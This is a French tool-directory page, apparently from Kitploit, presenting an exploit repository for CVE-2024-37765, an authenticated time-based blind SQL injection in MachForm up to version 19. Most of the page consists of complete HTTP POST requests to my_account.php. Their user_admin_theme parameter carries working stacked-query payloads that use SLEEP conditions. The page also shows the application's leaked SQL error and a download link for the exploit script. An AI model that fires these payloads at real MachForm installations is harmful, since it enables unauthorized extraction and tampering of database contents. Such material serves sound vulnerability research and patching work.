Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
cve-2024-37765 — Script d'exploitation pour injection SQL aveugle authentifiée dans MachForm jusqu'à la v19, utilisant des techniques basées sur le temps pour extraire des informations de la base de données à partir du point de terminaison my_account.php. | Kitploit
Outils/GitHubGitHub/atreb92/cve-2024-37765
Analyse des VulnérabilitésExploitationExploitation d'Applications WebCollecte d'InformationsTests d'Intrusion
GitHubatreb92/cve-2024-37765

cve-2024-37765

Script d'exploitation pour injection SQL aveugle authentifiée dans MachForm jusqu'à la v19, utilisant des techniques basées sur le temps pour extraire des informations de la base de données à partir du point de terminaison my_account.php.

Voir le dépôt
112il y a 2 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Description

MachForm jusqu'à la version 19 est affecté par une injection SQL aveugle authentifiée dans la page des paramètres du compte utilisateur.

Les attaques par injection SQL consistent à insérer des requêtes SQL via l'utilisation d'un champ de données d'entrée provenant de l'application cliente. Ce type d'attaque permet d'obtenir un accès à la base de données, ce qui peut ensuite conduire à l'exfiltration, la modification ou la suppression des données existantes.

L'injection SQL aveugle est un type d'attaque spécifique où l'attaquant ne reçoit pas le résultat complet de la requête mais peut seulement poser des questions par vrai ou faux ; cela peut être réalisé en utilisant des fonctions de pause (sleep) pour forcer un délai dans la réponse de la base de données ou en induisant des conditions d'erreur.

Risque

  • Sévérité : Critique
  • CVSS v3.1 Score : 9.9
  • CVSS v3.1 Vector : AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Ressources affectées

  • Version : jusqu'à MachForm v19
  • https://<application-baseurl>/my_account.php

Preuve

Le paramètre user_admin_theme dans la ressource my_account.php est vulnérable à l'injection SQL.

image_1

Requête :

POST /my_account.php HTTP/1.1
Host: application-baseurl
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
Origin: https://application-baseurl
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close

user_admin_theme=vibrant'+&user_email=existing_user%40email.com&tsv_confirm_token=&submit_form=1

Réponse :

HTTP/1.1 302 Found
Date: Wed, 10 Apr 2024 09:15:21 GMT
Content-Security-Policy: default-src 'self' 'unsafe-inline';  img-src 'self' data:; frame-ancestors 'self' *.application-baseurl;  script-src-elem 'self' 'unsafe-inline' www.machform.com
Strict-Transport-Security: max-age=31536000
Referrer-Policy: no-referrer, strict-origin
X-Content-Type-Options: nosniff
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: /my_account.php
Vary: Accept-Encoding,User-Agent
Content-Length: 967
Content-Type: text/html; charset=UTF-8
Connection: close

SQL: [647] INSERT INTO `ap_sessions` VALUES('ngkvjulsl5pstmlb8q6jds2vle', 'session_timeout|i:1712740521;mf_logged_in|b:1;mf_user_id|s:2:"11";mf_user_privileges|a:3:{s:15:"priv_administer";i:0;s:14:"priv_new_forms";i:0;s:15:"priv_new_themes";i:0;}mf_user_admin_theme|s:9:"vibrant' ";MF_SUCCESS|s:28:"Your profile has been saved.";', '1712740521') ON DUPLICATE KEY UPDATE `data`='session_timeout|i:1712740521;mf_logged_in|b:1;mf_user_id|s:2:"11";mf_user_privileges|a:3:{s:15:"priv_administer";i:0;s:14:"priv_new_forms";i:0;s:15:"priv_new_themes";i:0;}mf_user_admin_theme|s:9:"vibrant' ";MF_SUCCESS|s:28:"Your profile has been saved.";',`timestamp`='1712740521'
Params:  0
Query Failed: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'Your profile has been saved.";', '1712740521') ON DUPLICATE KEY UPDATE `data`='s' at line 1

Cela peut être exploité en utilisant une attaque temporelle (time-based) en utilisant une condition de pause (sleep) et en vérifiant si le délai de réponse change en fonction du résultat de la requête demandée.

Requête : SELECT CASE WHEN (1=1) THEN SLEEP(2) ELSE SLEEP(0) END

En utilisant une condition toujours vraie, la réponse de l'application prend plus de 2000ms.

image_2

Requête :

POST /my_account.php HTTP/1.1
Host: application-baseurl
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Referer: https://application-baseurl
Content-Type: application/x-www-form-urlencoded
Content-Length: 228
Origin: https://application-baseurl
Connection: close

user_admin_theme=dark',+'1712843926')+ON+DUPLICATE+KEY+UPDATE+`timestamp`%3d'1712843926'%3b+SELECT+CASE+WHEN+(1%3d1)+THEN+SLEEP(2)+ELSE+SLEEP(0)+END+--+&user_email=existing_user%40email.com&tsv_confirm_token=&submit_form=1

Requête : SELECT CASE WHEN (1=2) THEN SLEEP(2) ELSE SLEEP(0) END

En utilisant plutôt une condition toujours fausse, la réponse de l'application est quasi instantanée.

image_3

Requête :

POST /my_account.php HTTP/1.1
Host: application-baseurl
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Referer: https://application-baseurl/
Content-Type: application/x-www-form-urlencoded
Content-Length: 228
Origin: https://application-baseurl
Connection: close

user_admin_theme=dark',+'1712843926')+ON+DUPLICATE+KEY+UPDATE+`timestamp`%3d'1712843926'%3b+SELECT+CASE+WHEN+(1%3d0)+THEN+SLEEP(2)+ELSE+SLEEP(0)+END+--+&user_email=existing_user%40email.com&tsv_confirm_token=&submit_form=1

Cette vulnérabilité peut être exploitée en utilisant un simple script qui évalue le temps de réponse afin de déterminer si la requête saisie a donné une réponse vraie ou fausse.

Ci-dessous, un exemple utilisé pour récupérer l'utilisateur actuel de la base de données en utilisant exploit.py.

image_4

Télécharger l’outil